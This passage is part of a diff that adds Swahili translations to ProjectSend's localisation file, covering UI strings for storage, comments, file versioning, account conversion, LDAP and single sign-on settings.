pdf", + "Failed at": "Ilishindwa saa", + "Failed job deleted.": "Kazi iliyoshindwa imefutwa.", + "Failed jobs": "Kazi zilizoshindwa", + "Failed to connect: :error": "Imeshindwa kuunganisha: :error", + "File retention": "Uhifadhi wa mafaili", + "File retention settings": "Mipangilio ya uhifadhi wa mafaili", + "Files accessible to :name": "Mafaili anayoweza kufikia :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Mafaili yaliyo kwenye diski bila kumbukumbu inayolingana — upakiaji uliokatika, urejeshaji wa nakala, kuingilia mfumo wa mafaili kwa mkono", + "Files that accept comments": "Mafaili yanayopokea maoni", + "Filters": "Vichujio", + "Folder renamed.": "Folda imebadilishwa jina.", + "Folders": "Folda", + "Grid view": "Mwonekano wa gridi", + "Hold comments from visitors for approval": "Zuia maoni ya wageni hadi yaidhinishwe", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Muda baada ya kuchapisha ambao mtu bado anaweza kuhariri au kufuta maoni yake mwenyewe. Weka 0 ili kutoruhusu kamwe.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Muda ambao faili lililoisha muda huhifadhiwa kabla ya kufutwa kabisa. 0 hulifuta siku ileile linapoisha muda.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Muda ambao faili yatima huhifadhiwa kabla ya kufutwa kabisa. 0 hulifuta siku ileile linapopatikana.", + "IP address": "Anwani ya IP", + "Job queued for retry.": "Kazi imerudishwa kwenye foleni ili kujaribiwa tena.", + "Language: :language": "Lugha: :language", + "Last month": "Mwezi uliopita", + "Last ran": "Ilitekelezwa mwisho", + "Last week": "Wiki iliyopita", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Acha wazi kwa AWS S3. Jaza ili kutumia huduma inayooana na S3 kama MinIO au Backblaze.", + "Leave empty for a file that never expires.": "Acha wazi ili faili lisiishe muda kamwe.", + "Limit file types uploading to": "Zuia aina za mafaili wakati wa kupakia kwa", + "List view": "Mwonekano wa orodha", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Fanya folda hii kuwa ya umma. Kila faili lililomo — sasa na baadaye, katika ngazi yoyote — nalo huwa la umma.", + "Message": "Ujumbe", + "Moving": "Inahamisha", + "Never run": "Haijawahi kutekelezwa", + "Next cleanup :date": "Usafishaji ujao :date", + "No accounts match \":search\".": "Hakuna akaunti inayolingana na \":search\".", + "Nobody (no restriction)": "Hakuna mtu (bila vizuizi)", + "No comments yet.": "Bado hakuna maoni.", + "No expired files.": "Hakuna mafaili yaliyoisha muda.", + "No extensions added yet.": "Bado hakuna kiendelezi kilichoongezwa.", + "No failed jobs.": "Hakuna kazi zilizoshindwa.", + "No files match these filters.": "Hakuna faili linalolingana na vichujio hivi.", + "None of the selected files could be edited.": "Hakuna faili lolote lililochaguliwa lililoweza kuhaririwa.", + "Nothing is waiting for approval.": "Hakuna kinachosubiri idhini.", + "of :count": "kati ya :count", + "of :quota": "kati ya :quota", + "on": "tarehe", + "Only the fields you change here are applied — everything else is left as-is.": "Sehemu unazobadilisha hapa pekee ndizo hutumika — mengine yote hubaki kama yalivyo.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Ni mafaili yanayopakiwa baada ya hifadhi hii kuwashwa pekee yanayoathirika. Mafaili yaliyohifadhiwa ndani tayari hubaki pale na huendelea kufanya kazi — hakuna uhamishaji kati ya hifadhi.", + "Open public page": "Fungua ukurasa wa umma", + "Optional. Confines uploads to a subfolder within the bucket.": "Si lazima. Huzuia mafaili yanayopakiwa yabaki kwenye folda ndogo ndani ya bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Ufutaji wa kiotomatiki wa mafaili yatima hufanya kazi kwenye hifadhi ya ndani pekee, hivyo hubaki umezimwa wakati hifadhi ya nje inatumika — hata kama ulikuwa umewashwa awali.", + "Orphan files": "Mafaili yatima", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Kwa akaunti za wingu, barua pepe zinazotoka hupitia kituo kinachosimamiwa kwa pamoja. Bado unaweza kuchagua anwani na jina la mtumaji wanaloona wapokeaji.", + "Page": "Ukurasa", + "Path prefix": "Kianzio cha njia", + "Pending": "Inasubiri", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Hukagua mara kwa mara hazina ya umma ya projectsend.org kuona kama kuna toleo jipya na huonyesha taarifa kwenye dashibodi. Hakuna kinachopakuliwa au kusakinishwa kiotomatiki.", + "Permanently failed": "Imeshindwa kabisa", + "Post comment": "Tuma maoni", + "Preview of :name": "Hakikisho la :name", + "Previous month": "Mwezi uliotangulia", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Muonekano wa asili wa barua pepe za ProjectSend — rahisi na wa kawaida, na huungana vizuri na mandhari yoyote ya kurasa za umma au lango.", + "ProjectSend :version is available": "ProjectSend :version inapatikana", + "Public folder": "Folda ya umma", + "Published :date": "Ilichapishwa :date", + "Queue": "Foleni", + "Reassign them to another account": "Vigawie akaunti nyingine", + "Region": "Eneo", + "Remove a category": "Ondoa kategoria", + "Remove categories": "Kuondoa kategoria", + "Rename folder": "Badilisha jina la folda", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Huhitajika na huduma nyingi zinazooana na S3 (MinIO n.k.). Iache imezimwa kwa AWS S3.", + "Requires Upload files": "Inahitaji ruhusa ya \"Kupakia mafaili\"", + "Retry": "Jaribu tena", + "Root": "Mzizi", + "Scheduler": "Kipanga ratiba", + "Scheduler settings": "Mipangilio ya kipanga ratiba", + "Search accounts…": "Tafuta akaunti…", + "Search and filter": "Tafuta na chuja", + "Secret key": "Ufunguo wa siri", + "Select files to bulk-edit them": "Chagua mafaili ili kuyahariri kwa pamoja", + "Sender identity": "Utambulisho wa mtumaji", + "Set to…": "Weka kuwa…", + "Share": "Shirikisha", + "Shared with client": "Imeshirikishwa na mteja", + "Shared with me": "Nilizoshirikishwa", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Kushirikisha folda humaanisha kushirikisha kila kilichomo, sasa na baadaye. Simamia ushirikishwaji kutoka ukurasa wa kuhariri.", + "Someone commented on a file": "Mtu ametoa maoni kwenye faili", + "Sort by": "Panga kwa", + "Storage settings": "Mipangilio ya hifadhi", + "Storage settings saved.": "Mipangilio ya hifadhi imehifadhiwa.", + "Success: connected to bucket \":bucket\".": "Imefanikiwa: imeunganishwa na bucket \":bucket\".", + "Task": "Kazi", + "Test connection": "Jaribu muunganisho", + "Test result": "Matokeo ya jaribio", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Akaunti hii inamiliki mafaili :files na folda :folders. Vifanyike nini?", + "This cannot be undone.": "Hatua hii haiwezi kutenduliwa.", + "This client has no accessible files yet.": "Mteja huyu bado hana mafaili anayoweza kuyafikia.", + "This deletion is permanent": "Ufutaji huu ni wa kudumu", + "This file is public because it's inside the public folder \":name\".": "Faili hili ni la umma kwa sababu lipo ndani ya folda ya umma \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Folda hii haiwezi kufutwa: ina faili :count ambalo hukulipakia wewe.|Folda hii haiwezi kufutwa: ina mafaili :count ambayo hukuyapakia wewe.", + "This removes it from the failed jobs list without retrying it.": "Hii huiondoa kwenye orodha ya kazi zilizoshindwa bila kuijaribu tena.", + "Total size": "Ukubwa jumla", + "To update, run:": "Ili kusasisha, tekeleza:", + "Unavailable while external storage is active": "Haipatikani wakati hifadhi ya nje inatumika", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Tofauti na faili lililoisha muda, faili yatima halina kumbukumbu kwenye hifadhidata ya kufutwa kwa muda — likishaondoka hakuna kurudi nyuma.", + "Unlimited storage": "Hifadhi bila kikomo", + "Update :count files": "Sasisha mafaili :count", + "Uploaded and shared": "Yamepakiwa na kushirikishwa", + "Uploaded by client": "Yamepakiwa na mteja", + "Uploaded by me": "Nimeyapakia mimi", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Yamepakiwa na mteja, au amegawiwa moja kwa moja, kupitia kikundi, au kupitia folda iliyoshirikishwa.", + "Uploading into \":name\".": "Inapakia ndani ya \":name\".", + "Upload settings saved.": "Mipangilio ya upakiaji imehifadhiwa.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Mipangilio ya upakiaji imehifadhiwa. Onyo: kuruhusu :extensions kunaweza kuwa hatari — viache kwenye orodha tu iwapo unaelewa hatari yake.", + "used": "imetumika", + "Used in the public folder URL.": "Hutumika kwenye anwani ya folda ya umma.", + "Use external storage for new uploads": "Tumia hifadhi ya nje kwa mafaili mapya yanayopakiwa", + "Use path-style addressing": "Tumia mfumo wa anwani wa njia", + "View all downloads (:count)": "Angalia vipakuliwa vyote (:count)", + "View full history (:count)": "Angalia historia kamili (:count)", + "View release notes": "Angalia maelezo ya toleo", + "View release notes on GitHub": "Angalia maelezo ya toleo kwenye GitHub", + "Visitor": "Mgeni", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Wageni ambao hawajaingia wanaweza kuandika maoni ya umma pekee, hivyo hili halina athari hadi uruhusu maoni ya umma hapa chini.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Kinachotokea kwa faili baada ya muda wake kuisha, au linapotokea faili lisilo na mwenyewe kwenye diski", + "Where": "Mahali", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Kama kazi zilizopangwa zinatekelezwa kweli, na barua pepe zipi kwenye foleni zilishindwa kutumwa", + "Who can comment on files, and which files accept comments": "Nani anaweza kutoa maoni kwenye mafaili, na mafaili yapi hupokea maoni", + "Who can see this": "Nani anaweza kuona hili", + "Who can write a comment": "Nani anaweza kuandika maoni", + "Write a comment…": "Andika maoni…", + "You cannot grant permissions your own role does not have: :permissions": "Huwezi kutoa ruhusa ambazo jukumu lako mwenyewe halina: :permissions", + "You need upload permission to create folders": "Unahitaji ruhusa ya kupakia ili kuunda folda", + "Your comment will be reviewed before it appears.": "Maoni yako yatapitiwa kabla ya kuonekana.", + "Your name": "Jina lako", + "— No change —": "— Hakuna mabadiliko —", + "Newest first": "Mapya kwanza", + "Oldest first": "Ya zamani kwanza", + "Name (A–Z)": "Jina (A–Z)", + "Name (Z–A)": "Jina (Z–A)", + "Largest first": "Makubwa kwanza", + "Smallest first": "Madogo kwanza", + "Transfers": "Uhamishaji", + "Top clients by storage": "Wateja wanaotumia hifadhi zaidi", + "Largest files": "Mafaili makubwa zaidi", + "Expired files": "Mafaili yaliyoisha muda", + "A private note. Nobody else can read it, staff included.": "Dokezo la faragha. Hakuna mtu mwingine anayeweza kulisoma, hata wafanyakazi.", + "Reply": "Jibu", + "Replying to :name": "Unamjibu :name", + "The team working on this file. No client ever sees it.": "Timu inayoshughulikia faili hili. Hakuna mteja anayeliona.", + "With :name": "Na :name", + "Your reply goes to :name only, and to staff.": "Jibu lako litamfikia :name pekee, pamoja na wafanyakazi.", + "Your reply goes to the same people as the comment above.": "Jibu lako litawafikia watu walewale kama maoni ya juu.", + "Public comments are turned off for this site.": "Maoni ya umma yamezimwa kwenye tovuti hii.", + "Only a file that is publicly visible can have public comments.": "Faili linaloonekana hadharani pekee ndilo linaweza kuwa na maoni ya umma.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Timu, na kila mtu aliyeshirikishwa faili hili. Wateja hawaonani wao kwa wao.", + "Everyone above, plus anyone who opens this file without logging in.": "Wote waliotajwa hapo juu, pamoja na yeyote anayefungua faili hili bila kuingia.", + "Not signed in": "Hajaingia", + "New comment on \":name\"": "Maoni mapya kwenye \":name\"", + ":author commented on \":name\".": ":author ametoa maoni kwenye \":name\".", + ":author commented on \":name\"": ":author ametoa maoni kwenye \":name\"", + "Read the comment": "Soma maoni", + ":count new comments": "Maoni mapya :count", + "There are :count new comments for you:": "Una maoni mapya :count:", + "Someone": "Mtu fulani", + "New comment on a file": "Maoni mapya kwenye faili", + "Multiple new comments (digest)": "Maoni mapya kadhaa (muhtasari)", + "Marked the file \":subject\" as a revision of \":previous\"": "Ameweka alama kuwa faili \":subject\" ni toleo jipya la \":previous\"", + "Removed the version link from the file \":subject\"": "Ameondoa kiungo cha toleo kutoka faili \":subject\"", + "A file was marked as a revision of another": "Faili limewekewa alama kuwa ni toleo jipya la faili lingine", + "A file version link was removed": "Kiungo cha toleo la faili kimeondolewa", + "A newer version of a file I have is available": "Kuna toleo jipya la faili nililonalo", + "A newer version of \":previousName\" is available: :itemName": "Kuna toleo jipya la \":previousName\": :itemName", + "A newer version of a file you have is available": "Kuna toleo jipya la faili ulilonalo", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" limebadilishwa na toleo jipya: \":name\".", + ":count files you have were replaced by newer versions": "Mafaili :count uliyonayo yamebadilishwa na matoleo mapya", + "Newer versions of the following :count files are available:": "Matoleo mapya ya mafaili :count yafuatayo yanapatikana:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Faili haliwezi kuwa toleo jipya la lenyewe.", + "That file is already part of this file's version history.": "Faili hilo tayari ni sehemu ya historia ya matoleo ya faili hili.", + "That file has already been revised by \":name\". Remove that link first.": "Faili hilo tayari limebadilishwa na \":name\". Ondoa kwanza kiungo hicho.", + "That file has just been revised by another file. Reload and try again.": "Faili hilo limebadilishwa hivi punde na faili lingine. Pakia upya kisha jaribu tena.", + "This version history is too long. Remove an older link first.": "Historia hii ya matoleo ni ndefu mno. Ondoa kwanza kiungo cha zamani zaidi.", + "That file can't be used as the previous version.": "Faili hilo haliwezi kutumika kama toleo la awali.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Faili hili tayari limeshirikishwa na watu wengine, hivyo haliwezi kuwekewa alama ya toleo jipya. Muombe mwenzako akufanyie.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Faili hili ni toleo jipya la \":name\". Simamia ushirikishwaji kwenye \":name\" — kila toleo hufuata faili hilo.", + "This file is a new version of another file, and is shared with the same people as that one.": "Faili hili ni toleo jipya la faili lingine, na hushirikishwa na watu walewale kama faili hilo.", + "Versions": "Matoleo", + "Mark this file as a newer version of something you uploaded before.": "Weka alama kuwa faili hili ni toleo jipya la kitu ulichopakia awali.", + "This version is outdated": "Toleo hili limepitwa na wakati", + "It was replaced by \":name\".": "Limebadilishwa na \":name\".", + "This file is a new version of": "Faili hili ni toleo jipya la", + "Remove link": "Ondoa kiungo", + "Mark as a new version": "Weka alama kuwa toleo jipya", + "Version history": "Historia ya matoleo", + "Version link removed.": "Kiungo cha toleo kimeondolewa.", + "This file is now marked as a new version of \":name\".": "Faili hili sasa limewekewa alama kuwa toleo jipya la \":name\".", + "Share this file's recipients with the original?": "Uwapeleke wapokeaji wa faili hili kwenye faili la awali?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Toleo jipya hushirikishwa na watu walewale kama faili la awali. Wapokeaji hawa wa faili hili wataongezwa kwenye faili hilo, ili asiwepo anayepoteza ufikiaji:", + "No other files are available to link to.": "Hakuna mafaili mengine ya kuunganisha nayo.", + "Shared through \":name\"": "Imeshirikishwa kupitia \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Faili hili ni toleo jipya la \":name\", hivyo hushirikishwa na watu walewale. Kubadilisha nani anaweza kuliona kunamaanisha kubadilisha faili hilo.", + "Edit sharing on \":name\"": "Hariri ushirikishwaji wa \":name\"", + "You don't have permission to change who that file is shared with.": "Huna ruhusa ya kubadilisha ni nani anashirikishwa faili hilo.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Hili ni toleo jipya la \":name\" na hushirikishwa na watu walewale. Simamia ushirikishwaji kwenye faili hilo.", + "New version of": "Toleo jipya la", + "Replaced by": "Limebadilishwa na", + "Outdated": "Limepitwa na wakati", + "New version": "Toleo jipya", + "Replaced by :name": "Limebadilishwa na :name", + "Replaces :name": "Linabadilisha :name", + "There is a newer version of this file": "Kuna toleo jipya la faili hili", + "This replaces": "Hili linabadilisha", + "This is a new version of a file I uploaded before": "Hili ni toleo jipya la faili nililopakia awali", + "Search your files…": "Tafuta katika mafaili yako…", + "You have no earlier files that can be replaced.": "Huna mafaili ya awali yanayoweza kubadilishwa.", + "This file will be shared with the same people who have \":name\".": "Faili hili litashirikishwa na watu walewale walio na \":name\".", + ":name (group)": ":name (kikundi)", + "Search files…": "Tafuta mafaili…", + "Search…": "Tafuta…", + "Searching…": "Inatafuta…", + "No files match \":search\".": "Hakuna faili linalolingana na \":search\".", + "Nothing matches \":search\".": "Hakuna kinacholingana na \":search\".", + "A client account was converted to staff": "Akaunti ya mteja imegeuzwa kuwa ya mfanyakazi", + "A staff account was converted to a client": "Akaunti ya mfanyakazi imegeuzwa kuwa ya mteja", + "A client account was created from the directory": "Akaunti ya mteja imeundwa kutoka saraka", + "Converted the client account \":subject\" to staff (:role)": "Amegeuza akaunti ya mteja \":subject\" kuwa ya mfanyakazi (:role)", + "Converted the staff account \":subject\" to a client": "Amegeuza akaunti ya mfanyakazi \":subject\" kuwa ya mteja", + "Created a client account from the directory on first sign-in": "Ameunda akaunti ya mteja kutoka saraka wakati wa kuingia mara ya kwanza", + "Convert accounts": "Kugeuza akaunti", + "Convert": "Geuza", + "Convert to client": "Geuza kuwa mteja", + "Convert to staff": "Geuza kuwa mfanyakazi", + "Convert :name to a client": "Geuza :name kuwa mteja", + "Convert :name to staff": "Geuza :name kuwa mfanyakazi", + "Client → staff": "Mteja → mfanyakazi", + "Staff → client": "Mfanyakazi → mteja", + "Move an account between staff and clients. Files they uploaded are always kept.": "Hamisha akaunti kati ya wafanyakazi na wateja. Mafaili aliyoyapakia hubaki daima.", + "They lose access to every staff screen immediately.": "Ufikiaji wa skrini zote za wafanyakazi hupotea mara moja.", + "They gain access to the staff screens their role allows.": "Hupata ufikiaji wa skrini za wafanyakazi ambazo jukumu lake linaruhusu.", + "Will be revoked": "Kitatenguliwa", + "Will be revoked and cannot be undone": "Kitatenguliwa na hakiwezi kurudishwa", + "Will be kept": "Kitabaki", + "Nothing": "Hakuna", + "Nothing to keep": "Hakuna cha kubaki", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Kugeuza tena kurudi hurejesha kila kilicho chini ya \"Kitabaki\". Hakirejeshi kile kilichotenguliwa.", + ":files files and :folders folders they uploaded": "Mafaili :files na folda :folders alizopakia akaunti hii", + "No accounts match these filters.": "Hakuna akaunti inayolingana na vichujio hivi.", + "Account converted to a client.": "Akaunti imegeuzwa kuwa ya mteja.", + "Account converted to staff.": "Akaunti imegeuzwa kuwa ya mfanyakazi.", + "Approve or deny this account request before converting it.": "Idhinisha au kataa ombi hili la akaunti kabla ya kuligeuza.", + "You cannot convert your own account.": "Huwezi kugeuza akaunti yako mwenyewe.", + "New password": "Nenosiri jipya", + "New password (optional)": "Nenosiri jipya (si lazima)", + "Leave blank to keep their current password.": "Acha wazi ili kubaki na nenosiri lake la sasa.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Akaunti hii huingia kupitia saraka yako. Akaunti za wafanyakazi hazifanyi hivyo kamwe, hivyo inahitaji nenosiri hapa, la sivyo hataweza kuingia kabisa.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Weka nenosiri kwa akaunti hii. Kwa sasa huingia kupitia saraka yako, hali ambayo akaunti za wafanyakazi hazifanyi kamwe.", + "Tokens created": "Tokeni zilizoundwa", + "Currently active": "Zinazotumika sasa", + ":count active": ":count zinatumika", + "1 permission": "Ruhusa 1", + ":count permissions": "Ruhusa :count", + "This token carries no permissions.": "Tokeni hii haina ruhusa yoyote.", + "This account has created API tokens before, but none are live now.": "Akaunti hii imewahi kuunda tokeni za API, lakini hakuna inayotumika sasa.", + "This account has never created an API token.": "Akaunti hii haijawahi kuunda tokeni ya API.", + "No longer granted to this account, so it does nothing.": "Haitolewi tena kwa akaunti hii, hivyo haina athari yoyote.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": ":name pekee ndiye anaweza kuziunda, kuzibadilisha au kuzitengua — msimamizi anaweza kuziona, lakini si kuzisimamia.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Kile tokeni hii inaruhusiwa kufanya kupitia API. Haiwezi kamwe kufanya zaidi ya anavyoruhusiwa :name.", + "LDAP": "LDAP", + "LDAP settings": "Mipangilio ya LDAP", + "LDAP settings saved.": "Mipangilio ya LDAP imehifadhiwa.", + "Directory": "Saraka", + "Connection": "Muunganisho", + "Server": "Seva", + "Base DN": "DN ya msingi", + "Service account DN": "DN ya akaunti ya huduma", + "Service account password": "Nenosiri la akaunti ya huduma", + "Email attribute": "Sifa ya barua pepe", + "Name attribute": "Sifa ya jina", + "Additional filter (optional)": "Kichujio cha ziada (si lazima)", + "CA certificate path (optional)": "Njia ya cheti cha CA (si lazima)", + "None (unencrypted)": "Hakuna (bila usimbaji fiche)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS isiyo wazi)", + "Allow clients to sign in with a directory account": "Ruhusu wateja kuingia kwa akaunti ya saraka", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Ruhusu wateja kuingia kwa akaunti zao za saraka. Wafanyakazi huthibitishwa ndani daima.", + "Create an account on first sign-in": "Unda akaunti wakati wa kuingia mara ya kwanza", + "Directory accounts are always created as clients, never as staff.": "Akaunti kutoka saraka huundwa daima kama za wateja, kamwe si za wafanyakazi.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Mtu aliye kwenye saraka lakini asiye na akaunti hapa hupewa akaunti ya mteja na huingizwa mara moja.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Mtu aliye kwenye saraka lakini asiye na akaunti hapa hupewa akaunti ya mteja inayosubiri idhini katika Maombi ya akaunti.", + "Only people who already have an account here can sign in.": "Watu walio tayari na akaunti hapa pekee ndio wanaweza kuingia.", + "Combined with the address match, to narrow who may sign in.": "Huunganishwa na ulinganifu wa anwani, ili kupunguza ni nani anaruhusiwa kuingia.", + "The attribute holding the address people sign in with — usually mail.": "Sifa inayoshikilia anwani watu wanayotumia kuingia — kwa kawaida mail.", + "Where in the tree to look for people.": "Mahali kwenye mti wa saraka ambapo watu hutafutwa.", + "Leave blank to search anonymously.": "Acha wazi ili kutafuta bila kujitambulisha.", + "Stored encrypted, and never shown again.": "Huhifadhiwa kwa usimbaji fiche, na haionyeshwi tena kamwe.", + "Stored encrypted. Leave blank to keep the current one.": "Huhifadhiwa kwa usimbaji fiche. Acha wazi ili kubaki na la sasa.", + "For a directory presenting a certificate from your own certificate authority.": "Kwa saraka inayotumia cheti kutoka mamlaka yako mwenyewe ya vyeti.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Bila usimbaji fiche: nenosiri la akaunti ya huduma na la kila mteja hupita mtandaoni kama maandishi wazi.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Nenosiri la mteja lisipotambulika ndani, hulinganishwa na saraka. Akaunti za wafanyakazi huthibitishwa ndani daima na hazitumwi huko kamwe.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Kiendelezi cha PHP LDAP hakijasakinishwa kwenye seva hii, hivyo mipangilio hii haiwezi kutumika.", + "The PHP LDAP extension is not installed on this server.": "Kiendelezi cha PHP LDAP hakijasakinishwa kwenye seva hii.", + "Saves are not required to test — but the test uses the settings as last saved.": "Si lazima kuhifadhi ili kujaribu — lakini jaribio hutumia mipangilio kama ilivyohifadhiwa mwisho.", + "Test a sign-in": "Jaribu kuingia", + "Email address (optional)": "Anwani ya barua pepe (si lazima)", + "Password (optional)": "Nenosiri (si lazima)", + "Connected and bound as the service account.": "Imeunganishwa na kuthibitishwa kama akaunti ya huduma.", + "Could not connect or bind as the service account: :error": "Imeshindwa kuunganisha au kuthibitishwa kama akaunti ya huduma: :error", + "Found a matching entry.": "Imepatikana ingizo linalolingana.", + "No directory entry matched that address under the base DN.": "Hakuna ingizo la saraka chini ya DN ya msingi lililolingana na anwani hiyo.", + "The directory rejected that password.": "Saraka imekataa nenosiri hilo.", + "The search failed: :error": "Utafutaji umeshindwa: :error", + "The sign-in bind failed: :error": "Uthibitishaji wakati wa kuingia umeshindwa: :error", + "Signed in successfully.": "Ameingia kwa mafanikio.", + "1 item": "Kipengele 1", + ":count items": "Vipengele :count", + "1 API token": "Tokeni 1 ya API", + ":count API tokens": "Tokeni :count za API", + "1 assigned client": "Mteja 1 aliyegawiwa", + ":count assigned clients": "Wateja :count waliogawiwa", + "Managed by 1 staff member": "Anasimamiwa na mfanyakazi 1", + "Managed by :count staff members": "Anasimamiwa na wafanyakazi :count", + "1 group membership": "Uanachama 1 wa kikundi", + ":count group memberships": "Uanachama :count wa vikundi", + "1 file shared with them": "Faili 1 alilishirikishwa", + ":count files shared with them": "Mafaili :count aliyoshirikishwa", + "Approve these accounts automatically": "Idhinisha akaunti hizi kiotomatiki", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Saraka yako tayari imethibitisha wao ni akina nani, hivyo hakuna wa kuchunguzwa. Iache imezimwa ili kupitia kila mmoja kwanza katika Maombi ya akaunti.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Wateja wanaojisajili wenyewe huidhinishwa kiotomatiki — mpangilio huu ni tofauti, na haufuati hilo.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Wateja wanaojisajili wenyewe bado husubiri idhini — mpangilio huu ni tofauti, na haubadilishi hilo.", + "Container filesystem": "Mfumo wa mafaili wa kontena", + "Docker volume": "Volumu ya Docker", + "Files stored on": "Mafaili yamehifadhiwa kwenye", + "Host directory": "Saraka ya seva pangishi", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Hiyo inamaanisha docker compose down -v na docker volume prune vyote hufuta mafaili hayo, na nakala rudufu ya seva yako inaweza kuyakosa kabisa.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Hayapo kwenye volumu yoyote, hivyo kujenga upya au kuunda upya kontena hili kutafuta kabisa kila faili. Yahamishie kwenye saraka ya seva pangishi kabla ya kupakia kitu kingine chochote.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Hubaki salama wakati wa maboresho, lakini yapo kwenye volumu inayosimamiwa na Docker badala ya saraka uliyochagua wewe.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Hubaki salama wakati wa maboresho, lakini yapo kwenye volumu ya Docker :volume badala ya saraka uliyochagua wewe.", + "Uploaded files are inside Docker": "Mafaili yaliyopakiwa yapo ndani ya Docker", + "Uploaded files are stored inside the container": "Mafaili yaliyopakiwa yamehifadhiwa ndani ya kontena", + "1 more language available": "Lugha 1 zaidi inapatikana", + ":count more languages available": "Lugha :count zaidi zinapatikana", + ":left of :limit downloads left": "zimebaki :left kati ya :limit za upakuaji", + ":limit downloads per person": "Upakuaji :limit kwa kila mtu", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name ataingia kwa nywila pekee hadi atakaposanidi tena, na atatumiwa barua pepe kuhusu badiliko hili. Iwapo uthibitishaji wa hatua mbili unahitajika kwenye tovuti hii, ataombwa kujiandikisha tena wakati wa kuingia kwake kufuatia.", + ":provider accepted your secret key.": ":provider imekubali ufunguo wako wa siri.", + ":provider connected.": ":provider imeunganishwa.", + ":provider did not provide an email address, which is required to sign in.": ":provider haikutoa anwani ya barua pepe, ambayo inahitajika ili kuingia.", + ":provider disconnected.": ":provider imetenganishwa.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider haiarifu kamwe iwapo anwani imethibitishwa, kwa hivyo ikiwashwa inaweza kuunda akaunti mpya lakini haiwezi kamwe kuingia kwenye iliyopo. Kuiunganisha kutoka Mipangilio ukiwa tayari umeingia bado kunafanya kazi.", + ":provider rejected your secret key.": ":provider imekataa ufunguo wako wa siri.", + ":provider settings saved.": "Mipangilio ya :provider imehifadhiwa.", + ":used of :limit downloads used": "zimetumika :used kati ya :limit za upakuaji", + "A :provider account was connected": "Akaunti ya :provider iliunganishwa", + "A :provider account was disconnected": "Akaunti ya :provider ilitenganishwa", + "Accounts at :domain cannot sign in with :provider here.": "Akaunti za :domain haziwezi kuingia kwa :provider hapa.", + "A client account was created from :provider": "Akaunti ya mteja iliundwa kutoka :provider", + "Allowed email domains": "Vikoa vya barua pepe vinavyoruhusiwa", + "Allow signing in with :provider": "Ruhusu kuingia kwa :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Daima ni akaunti ya mteja. Akaunti za wafanyakazi huundwa na msimamizi pekee.", + "Always available — the application is written in English, so it needs no translation file.": "Inapatikana daima — programu imeandikwa kwa Kiingereza, kwa hivyo haihitaji faili ya tafsiri.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Akaunti tayari inatumia anwani hii ya barua pepe, na :provider haikuthibitisha kuwa ni yako. Badala yake, ingia kwa nywila yako kisha uunganishe :provider kutoka mipangilio yako.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Anwani ambayo mtoa huduma hakuthibitisha haiwezi kamwe kulinganishwa na akaunti iliyopo tayari hapa. Kuizima kunamaanisha yeyote 